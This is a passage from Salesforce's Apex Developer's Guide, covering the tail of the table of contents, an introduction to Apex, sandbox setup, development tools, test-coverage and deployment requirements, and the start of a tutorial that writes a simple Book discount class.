Class..................................................................................................................................................................1157 Set Instance Methods..................................................................................................................................1158 Site Class.................................................................................................................................................................1166 Site Static Methods......................................................................................................................................1169 sObject Class...........................................................................................................................................................1178 SObject Instance Methods...........................................................................................................................1178 StaticResourceCalloutMock Class...........................................................................................................................1191 StaticResourceCalloutMock Instance Methods...........................................................................................1191 String Class..............................................................................................................................................................1193 String Static Methods..................................................................................................................................1193 String Instance Methods..............................................................................................................................1201 System Class............................................................................................................................................................1249 System Static Methods................................................................................................................................1249 Test Class................................................................................................................................................................1267 Test Static Methods.....................................................................................................................................1267 xx
  • 23. Table of Contents Time Class...............................................................................................................................................................1274 Time Static Methods...................................................................................................................................1274 Time Instance Methods...............................................................................................................................1275 TimeZone Class......................................................................................................................................................1278 TimeZone Static Methods...........................................................................................................................1279 TimeZone Instance Methods......................................................................................................................1279 Type Class...............................................................................................................................................................1281 Type Static Methods...................................................................................................................................1282 Type Instance Methods...............................................................................................................................1284 UninstallHandler Interface......................................................................................................................................1287 UninstallHandler Instance Methods............................................................................................................1288 UninstallHandler Example Implementation................................................................................................1288 URL Class...............................................................................................................................................................1289 URL Static Methods...................................................................................................................................1290 URL Instance Methods...............................................................................................................................1292 UserInfo Class.........................................................................................................................................................1296 UserInfo Static Methods..............................................................................................................................1297 Version Class...........................................................................................................................................................1305 Version Instance Methods...........................................................................................................................1306 WebServiceMock Interface.....................................................................................................................................1307 WebServiceMock Instance Methods...........................................................................................................1308 XmlStreamReader Class..........................................................................................................................................1309 XmlStreamReader Instance Methods..........................................................................................................1309 XmlStreamWriter Class..........................................................................................................................................1323 XmlStreamWriter Instance Methods..........................................................................................................1323 Appendices.....................................................................................................................................1330 Appendix A: SOAP API and SOAP Headers for Apex.............................................................1330 ApexTestQueueItem...............................................................................................................................................1331 ApexTestResult.......................................................................................................................................................1332 compileAndTest()....................................................................................................................................................1334 CompileAndTestRequest............................................................................................................................1336 CompileAndTestResult...............................................................................................................................1336 compileClasses()......................................................................................................................................................1338 compileTriggers()....................................................................................................................................................1339 executeanonymous().................................................................................................................................................1340 ExecuteAnonymousResult...........................................................................................................................1340 runTests()................................................................................................................................................................1341 RunTestsRequest.........................................................................................................................................1342 RunTestsResult............................................................................................................................................1343 DebuggingHeader...................................................................................................................................................1346 PackageVersionHeader............................................................................................................................................1347 Appendix B: Shipping Invoice Example..................................................................................1349 xxi
  • 24. Table of Contents Shipping Invoice Example Walk-Through.............................................................................................................1349 Shipping Invoice Example Code.............................................................................................................................1351 Appendix C: Reserved Keywords............................................................................................1359 Appendix D: Documentation Typographical Conventions.......................................................1361 Glossary.........................................................................................................................................1363 Index..............................................................................................................................................1380 xxii
  • 25. GETTING STARTED Chapter 1 Introduction In this chapter ... • • • • • • • Introducing Apex What is Apex? When Should I Use Apex? How Does Apex Work? Developing Code in the Cloud What's New? Understanding Apex Core Concepts In this chapter, you’ll learn about the Apex programming language, how it works, and when to use it. 1
  • 26. Introduction Introducing Apex Introducing Apex Salesforce.com has changed the way organizations do business by moving enterprise applications that were traditionally client-server-based into an on-demand, multitenant Web environment, the Force.com platform. This environment allows organizations to run and customize applications, such as Salesforce Automation and Service & Support, and build new custom applications based on particular business needs. While many customization options are available through the Salesforce user interface, such as the ability to define new fields, objects, workflow, and approval processes, developers can also use the SOAP API to issue data manipulation commands such as delete(), update() or upsert(), from client-side programs. These client-side programs, typically written in Java, JavaScript, .NET, or other programming languages grant organizations more flexibility in their customizations. However, because the controlling logic for these client-side programs is not located on Force.com platform servers, they are restricted by: • • The performance costs of making multiple round-trips to the salesforce.com site to accomplish common business transactions The cost and complexity of hosting server code, such as Java or .NET, in a secure and robust environment To address these issues, and to revolutionize the way that developers create on-demand applications, salesforce.com introduces Force.com Apex code, the first multitenant, on-demand programming language for developers interested in building the next generation of business applications. • • • What is Apex?—more about when to use Apex, the development process, and some limitations What's new in this Apex release? Apex Quick Start—delve straight into the code and write your first Apex class and trigger What is Apex? Apex is a strongly typed, object-oriented programming language that allows developers to execute flow and transaction control statements on the Force.com platform server in conjunction with calls to the Force.com API. Using syntax that looks like Java and acts like database stored procedures, Apex enables developers to add business logic to most system events, including button clicks, related record updates, and Visualforce pages. Apex code can be initiated by Web service requests and from triggers on objects. 2
  • 27. Introduction What is Apex? Figure 1: You can add Apex to most system events. As a language, Apex is: Integrated Apex provides built-in support for common Force.com platform idioms, including: • Data manipulation language (DML) calls, such as INSERT, UPDATE, and DELETE, that include built-in DmlException handling • Inline Salesforce Object Query Language (SOQL) and Salesforce Object Search Language (SOSL) queries that return lists of sObject records • Looping that allows for bulk processing of multiple records at a time • Locking syntax that prevents record update conflicts • Custom public Force.com API calls that can be built from stored Apex methods • Warnings and errors issued when a user tries to edit or delete a custom object or field that is referenced by Apex Easy to use Apex is based on familiar Java idioms, such as variable and expression syntax, block and conditional statement syntax, loop syntax, object and array notation, and so on. Where Apex introduces new elements, it uses syntax and semantics that are easy to understand and encourage efficient use of the Force.com platform. Consequently, Apex produces code that is both succinct and easy to write. 3
  • 28. Introduction When Should I Use Apex? Data focused Apex is designed to thread together multiple query and DML statements into a single unit of work on the Force.com platform server, much as developers use database stored procedures to thread together multiple transaction statements on a database server. Note that like other database stored procedures, Apex does not attempt to provide general support for rendering elements in the user interface. Rigorous Apex is a strongly-typed language that uses direct references to schema objects such as object and field names. It fails quickly at compile time if any references are invalid, and stores all custom field, object, and class dependencies in metadata to ensure they are not deleted while required by active Apex code. Hosted Apex is interpreted, executed, and controlled entirely by the Force.com platform. Multitenant aware Like the rest of the Force.com platform, Apex runs in a multitenant environment. Consequently, the Apex runtime engine is designed to guard closely against runaway code, preventing them from monopolizing shared resources. Any code that violate these limits fail with easy-to-understand error messages. Automatically upgradeable Apex never needs to be rewritten when other parts of the Force.com platform are upgraded. Because the compiled code is stored as metadata in the platform, it always gets automatically upgraded with the rest of the system. Easy to test Apex provides built-in support for unit test creation and execution, including test results that indicate how much code is covered, and which parts of your code could be more efficient. Salesforce.com ensures that Apex code always work as expected by executing all unit tests stored in metadata prior to any platform upgrades. Versioned You can save your Apex code against different versions of the Force.com API. This enables you to maintain behavior. Apex is included in Performance Edition, Unlimited Edition, Developer Edition, Enterprise Edition, and Database.com. When Should I Use Apex? The Salesforce prebuilt applications provide powerful CRM functionality. In addition, Salesforce provides the ability to customize the prebuilt applications to fit your organization. However, your organization may have complex business processes that are unsupported by the existing functionality. When this is the case, the Force.com platform includes a number of ways for advanced administrators and developers to implement custom functionality. These include Apex, Visualforce, and the SOAP API. Apex Use Apex if you want to: • • • • • • Create Web services. Create email services. Perform complex validation over multiple objects. Create complex business processes that are not supported by workflow. Create custom transactional logic (logic that occurs over the entire transaction, not just with a single record or object). Attach custom logic to another operation, such as saving a record, so that it occurs whenever the operation is executed, regardless of whether it originates in the user interface, a Visualforce page, or from SOAP API. 4
  • 29. Introduction How Does Apex Work? Visualforce Visualforce consists of a tag-based markup language that gives developers a more powerful way of building applications and customizing the Salesforce user interface. With Visualforce you can: • • • Build wizards and other multistep processes. Create your own custom flow control through an application. Define navigation patterns and data-specific rules for optimal, efficient application interaction. For more information, see the Visualforce Developer's Guide. SOAP API Use standard SOAP API calls if you want to add functionality to a composite application that processes only one type of record at a time and does not require any transactional control (such as setting a Savepoint or rolling back changes). For more information, see the SOAP API Developer's Guide. How Does Apex Work? All Apex runs entirely on-demand on the Force.com platform, as shown in the following architecture diagram: Figure 2: Apex is compiled, stored, and run entirely on the Force.com platform. When a developer writes and saves Apex code to the platform, the platform application server first compiles the code into an abstract set of instructions that can be understood by the Apex runtime interpreter, and then saves those instructions as metadata. When an end-user triggers the execution of Apex, perhaps by clicking a button or accessing a Visualforce page, the platform application server retrieves the compiled instructions from the metadata and sends them through the runtime interpreter before returning the result. The end-user observes no differences in execution time from standard platform requests. Developing Code in the Cloud The Apex programming language is saved and runs in the cloud—the Force.com multitenant platform. Apex is tailored for data access and data manipulation on the platform, and it enables you to add custom business logic to system events. While 5
  • 30. Introduction What's New? it provides many benefits for automating business processes on the platform, it is not a general purpose programming language. As such, Apex cannot be used to: • • • • Render elements in the user interface other than error messages Change standard functionality—Apex can only prevent the functionality from happening, or add additional functionality Create temporary files Spawn threads Tip: All Apex code runs on the Force.com platform, which is a shared resource used by all other organizations. To guarantee consistent performance and scalability, the execution of Apex is bound by governor limits that ensure no single Apex execution impacts the overall service of Salesforce. This means all Apex code is limited by the number of operations (such as DML or SOQL) that it can perform within one process. All Apex requests return a collection that contains from 1 to 50,000 records. You cannot assume that your code only works on a single record at a time. Therefore, you must implement programming patterns that take bulk processing into account. If you don’t, you may run into the governor limits. See Also: Trigger and Bulk Request Best Practices What's New? Review the Winter ’14 Release Notes to learn about new and changed Apex features in Winter ’14. Past Releases For information about new features introduced in previous releases, see: • • • • • • • • • • • • • • • • • • • • Summer ’13 Release Notes Spring ’13 Release Notes Winter ’13 Release Notes Summer ’12 Release Notes Spring ’12 Release Notes Winter ’12 Release Notes Summer ’11 Release Notes Spring ’11 Release Notes Winter ’11 Release Notes Summer ’10 Release Notes Spring ’10 Release Notes Winter ’10 Release Notes Summer ’09 Release Notes Spring ’09 Release Notes Winter ’09 Release Notes Summer ’08 Release Notes Spring ’08 Release Notes Winter ’08 Release Notes Summer ’07 Release Notes Spring ’07 Release Notes 6
  • 31. Introduction Understanding Apex Core Concepts Understanding Apex Core Concepts Apex code typically contains many things that you might be familiar with from other programming languages: Figure 3: Programming elements in Apex The section describes the basic functionality of Apex, as well as some of the core concepts. Using Version Settings In the Salesforce user interface you can specify a version of the Salesforce.com API against which to save your Apex class or trigger. This setting indicates not only the version of SOAP API to use, but which version of Apex as well. You can change the version after saving. Every class or trigger name must be unique. You cannot save the same class or trigger against different versions. You can also use version settings to associate a class or trigger with a particular version of a managed package that is installed in your organization from AppExchange. This version of the managed package will continue to be used by the class or trigger if later versions of the managed package are installed, unless you manually update the version setting. To add an installed managed package to the settings list, select a package from the list of available packages. The list is only displayed if you have an installed managed package that is not already associated with the class or trigger. For more information about using version settings with managed packages, see “About Package Versions” in the Salesforce online help. 7
  • 32. Introduction Understanding Apex Core Concepts Naming Variables, Methods and Classes You cannot use any of the Apex reserved keywords when naming variables, methods or classes. These include words that are part of Apex and the Force.com platform, such as list, test, or account, as well as reserved keywords. Using Variables and Expressions Apex is a strongly-typed language, that is, you must declare the data type of a variable when you first refer to it. Apex data types include basic types such as Integer, Date, and Boolean, as well as more advanced types such as lists, maps, objects and sObjects. Variables are declared with a name and a data type. You can assign a value to a variable when you declare it. You can also assign values later. Use the following syntax when declaring variables: datatype variable_name [ = value]; Tip: Note that the semi-colon at the end of the above is not optional. You must end all statements with a semi-colon. The following are examples of variable declarations: // The following variable has the data type of Integer with the name Count, // and has the value of 0. Integer Count = 0; // The following variable has the data type of Decimal with the name Total. Note // that no value has been assigned to it. Decimal Total; // The following variable is an account, which is also referred to as an sObject. Account MyAcct = new Account(); In Apex, all primitive data type arguments, such as Integer or String, are passed into methods by value. This means that any changes to the arguments exist only within the scope of the method. When the method returns, the changes to the arguments are lost. Non-primitive data type arguments, such as sObjects, are also passed into methods by value. This means that when the method returns, the passed-in argument still references the same object as before the method call and can't be changed to point to another object. However, the values of the object's fields can be changed in the method. Using Statements A statement is any coded instruction that performs an action. In Apex, statements must end with a semicolon and can be one of the following types: • • • Assignment, such as assigning a value to a variable Conditional (if-else) Loops: ◊ Do-while ◊ While ◊ For • • • • • Locking Data Manipulation Language (DML) Transaction Control Method Invoking Exception Handling 8
  • 33. Introduction Understanding Apex Core Concepts A block is a series of statements that are grouped together with curly braces and can be used in any place where a single statement would be allowed. For example: if (true) { System.debug(1); System.debug(2); } else { System.debug(3); System.debug(4); } In cases where a block consists of only one statement, the curly braces can be left off. For example: if (true) System.debug(1); else System.debug(2); Using Collections Apex has the following types of collections: • • • Lists (arrays) Maps Sets A list is a collection of elements, such as Integers, Strings, objects, or other collections. Use a list when the sequence of elements is important. You can have duplicate elements in a list. The first index position in a list is always 0. To create a list: • • Use the new keyword Use the List keyword followed by the element type contained within <> characters. Use the following syntax for creating a list: List <datatype> list_name [= new List<datatype>();] | [=new List<datatype>{value [, value2. . .]};] | ; The following example creates a list of Integer, and assigns it to the variable My_List. Remember, because Apex is strongly typed, you must declare the data type of My_List as a list of Integer. List<Integer> My_List = new List<Integer>(); For more information, see Lists on page 30. A set is a collection of unique, unordered elements. It can contain primitive data types, such as String, Integer, Date, and so on. It can also contain more complex data types, such as sObjects. To create a set: • • Use the new keyword Use the Set keyword followed by the primitive data type contained within <> characters 9
  • 34. Introduction Understanding Apex Core Concepts Use the following syntax for creating a set: Set<datatype> set_name [= new Set<datatype>();] | [= new Set<datatype>{value [, value2. . .] };] | ; The following example creates a set of String. The values for the set are passed in using the curly braces {}. Set<String> My_String = new Set<String>{'a', 'b', 'c'}; For more information, see Sets on page 32. A map is a collection of key-value pairs. Keys can be any primitive data type. Values can include primitive data types, as well as objects and other collections. Use a map when finding something by key matters. You can have duplicate values in a map, but each key must be unique. To create a map: • • Use the new keyword Use the Map keyword followed by a key-value pair, delimited by a comma and enclosed in <> characters. Use the following syntax for creating a map: Map<key_datatype, value_datatype> map_name [=new map<key_datatype, value_datatype>();] | [=new map<key_datatype, value_datatype> {key1_value => value1_value [, key2_value => value2_value. . .]};] | ; The following example creates a map that has a data type of Integer for the key and String for the value. In this example, the values for the map are being passed in between the curly braces {} as the map is being created. Map<Integer, String> My_Map = new Map<Integer, String>{1 => 'a', 2 => 'b', 3 => 'c'}; For more information, see Maps on page 33. Using Branching An if statement is a true-false test that enables your application to do different things based on a condition. The basic syntax is as follows: if (Condition){ // Do this if the condition is true } else { // Do this if the condition is not true } For more information, see Conditional (If-Else) Statements on page 50. Using Loops While the if statement enables your application to do things based on a condition, loops tell your application to do the same thing again and again based on a condition. Apex supports the following types of loops: • • • Do-while While For 10
  • 35. Introduction Understanding Apex Core Concepts A Do-while loop checks the condition after the code has executed. A While loop checks the condition at the start, before the code executes. A For loop enables you to more finely control the condition used with the loop. In addition, Apex supports traditional For loops where you set the conditions, as well as For loops that use lists and SOQL queries as part of the condition. For more information, see Loops on page 50. 11
  • 36. Chapter 2 Apex Development Process In this chapter ... • • • • • • • • What is the Apex Development Process? Using a Developer or Sandbox Organization Learning Apex Writing Apex Using Development Environments Writing Tests Deploying Apex to a Sandbox Organization Deploying Apex to a Salesforce Production Organization Adding Apex Code to a Force.com AppExchange App In this chapter, you’ll learn about the Apex development lifecycle, and which organization and tools to use to develop Apex. You’ll also learn about testing and deploying Apex code. 12
  • 37. Apex Development Process What is the Apex Development Process? What is the Apex Development Process? We recommend the following process for developing Apex: 1. 2. 3. 4. 5. 6. Obtain a Developer Edition account. Learn more about Apex. Write your Apex. While writing Apex, you should also be writing tests. Optionally deploy your Apex to a sandbox organization and do final unit tests. Deploy your Apex to your Salesforce production organization. In addition to deploying your Apex, once it is written and tested, you can also add your classes and triggers to a Force.com AppExchange App package. Using a Developer or Sandbox Organization There are three types of organizations where you can run your Apex: • • • A developer organization: an organization created with a Developer Edition account. A production organization: an organization that has live users accessing your data. A sandbox organization: an organization created on your production organization that is a copy of your production organization. Note: Apex triggers are available in the Trial Edition of Salesforce; however, they are disabled when you convert to any other edition. If your newly-signed-up organization includes Apex, you must deploy your code to your organization using one of the deployment methods. You can't develop Apex in your Salesforce production organization. Live users accessing the system while you're developing can destabilize your data or corrupt your application. Instead, you must do all your development work in either a sandbox or a Developer Edition organization. If you aren't already a member of the developer community, go to http://developer.force.com/join and follow the instructions to sign up for a Developer Edition account. A Developer Edition account gives you access to a free Developer Edition organization. Even if you already have an Enterprise, Unlimited, or Performance Edition organization and a sandbox for creating Apex, we strongly recommends that you take advantage of the resources available in the developer community. Note: You cannot make changes to Apex using the Salesforce user interface in a Salesforce production organization. Creating a Sandbox Organization To create or refresh a sandbox organization: 1. From Setup, click Sandboxes or Data Management > Sandboxes. 2. Click New Sandbox. 3. Enter a name and description for the sandbox. You can only change the name when you create or refresh a sandbox. Tip: We recommend that you choose a name that: • • Reflects the purpose of this sandbox, such as “QA.” Has few characters because Salesforce automatically appends the sandbox name to usernames and email addresses on user records in the sandbox environment. Names with fewer characters make sandbox logins easier to type. 13
  • 38. Apex Development Process Using a Developer or Sandbox Organization 4. Select the type of sandbox you want. Developer Sandbox Developer sandboxes are special configuration sandboxes intended for coding and testing by a single developer. Multiple users can log into a single Developer sandbox, but their primary purpose is to provide an environment in which changes under active development can be isolated until they’re ready to be shared. Just like Developer Pro sandboxes, Developer sandboxes copy all application and configuration information to the sandbox. Developer sandboxes are limited to 200 MB of test or sample data, which is enough for many development and testing tasks. You can refresh a Developer sandbox once per day. Developer Pro Sandbox Developer Pro sandboxes copy all of your production organization's reports, dashboards, price books, products, apps, and customizations under Setup, but exclude all of your organization's standard and custom object records, documents, and attachments. Creating a Developer Pro sandbox can decrease the time it takes to create or refresh a sandbox from several hours to just a few minutes, but it can only include up to 1 GB of data. You can refresh a Developer Pro sandbox once per day. Partial Data Sandbox Partial Data sandboxes include all of your organization’s metadata and add a selected amount of your production organization's data that you define using a sandbox template. A Partial Data sandbox is a Developer sandbox plus the data you define in a sandbox template. It includes the reports, dashboards, price books, products, apps, and customizations under Setup (including all of your metadata). Additionally, as defined by your sandbox template, Partial Data sandboxes can include your organization's standard and custom object records, documents, and attachments up to 5 GB of data and a maximum of 10,000 records per selected object. A Partial Data sandbox is smaller than a Full sandbox and has a shorter refresh interval. You can refresh a Partial Data sandbox every 5 days. Note: Partial Data sandboxes require a sandbox template to select the data from your organization. For more information, see “Creating Sandbox Templates” in the Salesforce Help. Full Sandbox Full sandboxes copy your entire production organization and all its data, including standard and custom object records, documents, and attachments. You can refresh a Full sandbox every 29 days. Note: If you don’t see a sandbox option or need licenses for more sandboxes, contact salesforce.com to order sandboxes for your organization. If you have reduced the number of sandboxes you purchased, but you still have more sandboxes of a specific type than allowed, you will be required to match your sandboxes to the number of sandboxes that you purchased. For example, if you have two Full sandboxes but purchased only one, you cannot refresh your Full sandbox as a Full sandbox. Instead, you must choose one Full sandbox to convert to a smaller sandbox, such as a Developer Pro or a Developer sandbox, depending on which types you have available. 5. Select the data you want to include in your sandbox (you have this option for a Partial Data or Full sandbox). For a Partial Data sandbox, select the template you created to specify the data for your sandbox. If you have not created a template for this Partial Data sandbox, see “Creating Sandbox Templates” in the Salesforce Help. For a Full sandbox, choose how much object history, case history, and opportunity history to copy, and whether or not to copy Chatter data. Object history is the field history tracking of custom and most standard objects; case history and opportunity history serve the same purpose for cases and opportunities. You can copy from 0 to 180 days of history, in 30–day increments. The default value is 0 days. Chatter data includes feeds, messages, and discovery topics. Decreasing the amount of data you copy can significantly speed up sandbox copy time. You can choose to include Template-based data for a Full sandbox. For this option, you need to have already created a sandbox template. Then you can pick the template from a list of templates you’ve created. For more information, see “Creating Sandbox Templates” in the Salesforce Help. 14
  • 39. Apex Development Process Learning Apex 6. Click Create. The process may take several minutes, hours, or even days, depending on the size and type of your organization. Tip: Try to limit changes in your production organization while the sandbox copy proceeds. Learning Apex After you have your developer account, there are many resources available to you for learning about Apex: Force.com Workbook: Get Started Building Your First App in the Cloud Beginning programmers A set of ten 30-minute tutorials that introduce various Force.com platform features. The Force.com Workbook tutorials are centered around building a very simple warehouse management system. You'll start developing the application from the bottom up; that is, you'll first build a database model for keeping track of merchandise. You'll continue by adding business logic: validation rules to ensure that there is enough stock, workflow to update inventory when something is sold, approvals to send email notifications for large invoice values, and trigger logic to update the prices in open invoices. Once the database and business logic are complete, you'll create a user interface to display a product inventory to staff, a public website to display a product catalog, and then the start of a simple store front. If you'd like to develop offline and integrate with the app, we've added a final tutorial to use Adobe Flash Builder for Force.com. Force.com Workbook: HTML | PDF Apex Workbook Beginning programmers The Apex Workbook introduces you to the Apex programming language through a set of tutorials. You’ll learn the fundamentals of Apex and how you can use it on the Force.com platform to add custom business logic through triggers, unit tests, scheduled Apex, batch Apex, REST Web services, and Visualforce controllers. Apex Workbook: HTML | PDF Developer Force Apex Page Beginning and advanced programmers The Apex page on Developer Force has links to several resources including articles about the Apex programming language. These resources provide a quick introduction to Apex and include best practices for Apex development. Force.com Cookbook Beginning and advanced programmers This collaborative site provides many recipes for using the Web services API, developing Apex code, and creating Visualforce pages. The Force.com Cookbook helps developers become familiar with common Force.com programming techniques and best practices. You can read and comment on existing recipes, or submit your own recipes, at developer.force.com/cookbook. Development Life Cycle: Enterprise Development on the Force.com Platform Architects and advanced programmers Whether you are an architect, administrator, developer, or manager, the Development Life Cycle Guide prepares you to undertake the development and release of complex applications on the Force.com platform. 15
  • 40. Apex Development Process Writing Apex Using Development Environments Training Courses Training classes are also available from salesforce.com Training & Certification. You can find a complete list of courses at the Training & Certification site. In This Book (Apex Developer's Guide) Beginning programmers should look at the following: • Introducing Apex, and in particular: ◊ Documentation Conventions ◊ Core Concepts ◊ Quick Start Tutorial • • • Classes, Objects, and Interfaces Testing Apex Understanding Execution Governors and Limits In addition to the above, advanced programmers should look at: • Trigger and Bulk Request Best Practices • Advanced Apex Programming Example • Understanding Apex Describe Information • Asynchronous Execution (@future Annotation) • Batch Apex and Apex Scheduler Writing Apex Using Development Environments There are several development environments for developing Apex code. The Force.com Developer Console and the Force.com IDE allow you to write, test, and debug your Apex code. The code editor in the user interface enables only writing code and doesn’t support debugging. These different tools are described in the next sections. Force.com Developer Console The Developer Console is an integrated development environment with a collection of tools you can use to create, debug, and test applications in your Salesforce organization. To open the Developer Console in Salesforce user interface, click Your name > Developer Console. The Developer Console supports these tasks: • • • • • • • Writing code—You can add code using the source code editor. Also, you can browse packages in your organization. Compiling code—When you save a trigger or class, the code is automatically compiled. Any compilation errors will be reported. Debugging—You can view debug logs and set checkpoints that aid in debugging. Testing—You can execute tests of specific test classes or all tests in your organization, and you can view test results. Also, you can inspect code coverage. Checking performance—You can inspect debug logs to locate performance bottlenecks. SOQL queries—You can query data in your organization and view the results using the Query Editor. Color coding and autocomplete—The source code editor uses a color scheme for easier readability of code elements and provides autocompletion for class and method names. 16
  • 41. Apex Development Process Writing Tests Force.com IDE The Force.com IDE is a plug-in for the Eclipse IDE. The Force.com IDE provides a unified interface for building and deploying Force.com applications. Designed for developers and development teams, the IDE provides tools to accelerate Force.com application development, including source code editors, test execution tools, wizards and integrated help. This tool includes basic color-coding, outline view, integrated unit testing, and auto-compilation on save with error message display. See the website for information about installation and usage. Note: The Force.com IDE is a free resource provided by salesforce.com to support its users and partners but isn't considered part of our services for purposes of the salesforce.com Master Subscription Agreement. Tip: If you want to extend the Eclipse plug-in or develop an Apex IDE of your own, the SOAP API includes methods for compiling triggers and classes, and executing test methods, while the Metadata API includes methods for deploying code to production environments. For more information, see Deploying Apex on page 376 and SOAP API and SOAP Headers for Apex on page 1330. Code Editor in the Salesforce User Interface The Salesforce user interface. All classes and triggers are compiled when they are saved, and any syntax errors are flagged. You cannot save your code until it compiles without errors. The Salesforce user interface also numbers the lines in the code, and uses color coding to distinguish different elements, such as comments, keywords, literal strings, and so on. • • • For a trigger on a standard object, from Setup, click Customize, click the name of the object, and click Triggers. In the Triggers detail page, click New, and then enter your code in the Body text box. For a trigger on a custom object, from Setup, click Develop > Objects, and click the name of the object. In the Triggers related list, click New, and then enter your code in the Body text box. For a class, from Setup, click Develop > Apex Classes. Click New, and then enter your code in the Body text box. Note: You cannot make changes to Apex using the Salesforce user interface in a Salesforce production organization. Alternatively, you can use any text editor, such as Notepad, to write Apex code. Then either copy and paste the code into your application, or use one of the API calls to deploy it. Writing Tests Testing is the key to successful long-term development and is a critical component of the development process. We strongly recommend that you use a test-driven development process, that is, test development that occurs at the same time as code development. To facilitate the development of robust, error-free code, Apex supports the creation and execution of unit tests. Unit tests are class methods that verify whether a particular piece of code is working properly. Unit test methods take no arguments, commit no data to the database, send no emails, and are flagged with the testMethod keyword or the isTest annotation in the method definition. Also, test methods must be defined in test classes, that is, classes annotated with isTest. In addition, before you deploy Apex or package it for the Force.com AppExchange, the following must be true. • At least 75% of your Apex code must be covered by unit tests, and all of those tests must complete successfully. Note the following. ◊ When deploying to a production organization, every unit test in your organization namespace is executed. ◊ Calls to System.debug are not counted as part of Apex code coverage. ◊ Test methods and test classes are not counted as part of Apex code coverage. 17
  • 42. Apex Development Process Deploying Apex to a Sandbox Organization ◊ While only 75% of your Apex code must be covered by tests, your focus shouldn't be on the percentage of code that is covered. Instead, you should make sure that every use case of your application is covered, including positive and negative cases, as well as bulk and single records. This should lead to 75% or more of your code being covered by unit tests. • • Every trigger must have some test coverage. All classes and triggers must compile successfully. For more information on writing tests, see Testing Apex on page 354. Deploying Apex to a Sandbox Organization Salesforce gives you the ability to create multiple copies of your organization in separate environments for a variety of purposes, such as testing and training, without compromising the data and applications in your Salesforce production organization. These copies are called sandboxes and are nearly identical to your Salesforce production organization. Sandboxes are completely isolated from your Salesforce production organization, so operations you perform in your sandboxes do not affect your Salesforce production organization, and vice versa. To deploy Apex from a local project in the Force.com IDE to a Salesforce organization, use the Force.com Component Deployment Wizard. For more information about the Force.com IDE, see http://wiki.developerforce.com/index.php/Force.com_IDE. You can also use the deploy() Metadata API call to deploy your Apex from a developer organization to a sandbox organization. A useful API call is runTests(). In a development or sandbox organization, you can run the unit tests for a specific class, a list of classes, or a namespace. Salesforce includes a Force.com Migration Tool that allows you to issue these commands in a console window, or your can implement your own deployment code. Note: The Force.com IDE and the Force.com Migration Tool are free resources provided by salesforce.com to support its users and partners, but aren't considered part of our services for purposes of the salesforce.com Master Subscription Agreement. For more information, see Using the Force.com Migration Tool and Deploying Apex. Deploying Apex to a Salesforce Production Organization After you have finished all of your unit tests and verified that your Apex code is executing properly, the final step is deploying Apex to your Salesforce production organization. To deploy Apex from a local project in the Force.com IDE to a Salesforce organization, use the Force.com Component Deployment Wizard. For more information about the Force.com IDE, see http://wiki.developerforce.com/index.php/Force.com_IDE. Also, you can deploy Apex through change sets in the Salesforce user interface. For more information and for additional deployment options, see Deploying Apex on page 376. Adding Apex Code to a Force.com AppExchange App You can also include an Apex class or trigger in an app that you are creating for AppExchange. Any Apex that is included as part of a package must have at least 75% cumulative test coverage. Each trigger must also have some test coverage. When you upload your package to AppExchange, all tests are run to ensure that they run without errors. In addition, tests with the@isTest(OnInstall=true) annotation run when the package is installed in the installer's 18
  • 43. Apex Development Process Adding Apex Code to a Force.com AppExchange App organization. You can specify which tests should run during package install by annotating them with @isTest(OnInstall=true). This subset of tests must pass for the package install to succeed. In addition, salesforce.com recommends that any AppExchange package that contains Apex be a managed package. For more information, see the Force.com Quick Reference for Developing Packages. For more information about Apex in managed packages, see “What is a Package?” in the Salesforce online help. Note: Packaging Apex classes that contain references to custom labels which have translations: To include the translations in the package, enable the Translation Workbench and explicitly package the individual languages used in the translated custom labels. See “Custom Labels Overview” in the Salesforce online help. 19
  • 44. Chapter 3 Apex Quick Start Once you have a Developer Edition or sandbox organization, you may want to learn some of the core concepts of Apex. Because Apex is very similar to Java, you may recognize much of the functionality. After reviewing the basics, you are ready to write your first Apex program—a very simple class, trigger, and unit test. In addition, there is a more complex shipping invoice example that you can also walk through. This example illustrates many more features of the language. Note: The Hello World and the shipping invoice samples require custom fields and objects. You can either create these on your own, or download the objects, fields and Apex code as a managed packaged from Force.com AppExchange. For more information, see wiki.developerforce.com/index.php/Documentation. Writing Your First Apex Class and Trigger This step-by-step tutorial shows how to create a simple Apex class and trigger. It also shows how to deploy these components to a production organization. This tutorial is based on a custom object called Book that is created in the first step. This custom object is updated through a trigger. Adding an Apex Class Adding an Apex Trigger Adding a Test Class Deploying Components to Production Creating a Custom Object Prerequisites: A Salesforce account in a sandbox Performance, Unlimited, or Enterprise Edition organization, or an account in a Developer organization. For more information about creating a sandbox organization, see “Sandbox Overview” in the Salesforce online help. To sign up for a free Developer organization, see the Developer Edition Environment Sign Up Page. In this step, you create a custom object called Book with one custom field called Price. 1. 2. 3. 4. 5. Log into your sandbox or Developer organization. From Setup, click Create > Objects and click New Custom Object. Enter Book for the label. Enter Books for the plural label. Click Save. 20
  • 45. Apex Quick Start Adding an Apex Class Ta dah! You've now created your first custom object. Now let's create a custom field. 6. In the Custom Fields & Relationships section of the Book detail page, click New. 7. Select Number for the data type and click Next. 8. Enter Price for the field label. 9. Enter 16 in the length text box. 10. Enter 2 in the decimal places text box, and click Next. 11. Click Next to accept the default values for field-level security. 12. Click Save. You’ve just created a custom object called Book, and added a custom field to that custom object. Custom objects already have some standard fields, like Name and CreatedBy, and allow you to add other fields that are more specific to your implementation. For this tutorial, the Price field is part of our Book object and it is accessed by the Apex class you will write in the next step. Adding an Apex Class Prerequisites: • • A Salesforce account in a sandbox Performance, Unlimited, or Enterprise Edition organization, or an account in a Developer organization. The Book custom object. In this step, you add an Apex class that contains a method for updating the book price. This method is called by the trigger that you will be adding in the next step. 1. From Setup, click Develop > Apex Classes and click New. 2. In the class editor, enter this class definition: public class MyHelloWorld { } The previous code is the class definition to which you will be adding one method in the next step. Apex code is generally contained in classes. This class is defined as public, which means the class is available to other Apex classes and triggers. For more information, see Classes, Objects, and Interfaces on page 54. 3. Add this method definition between the class opening and closing brackets. public static void applyDiscount(Book__c[] books) { for (Book__c b :books){ b.Price__c *= 0.9; } } This method is called applyDiscount, and it is both public and static. Because it is a static method, you don't need to create an instance of the class to access the method—you can just use the name of the class followed by a dot (.) and the name of the method. For more information, see Static and Instance on page 61. This method takes one parameter, a list of Book records, which is assigned to the variable books. Notice the __c in the object name Book__c. This indicates that it is a custom object that you created. Standard objects that are provided in the Salesforce application, such as Account, don't end with this postfix. The next section of code contains the rest of the method definition: for (Book__c b :books){ b.Price__c *= 0.9; } 21
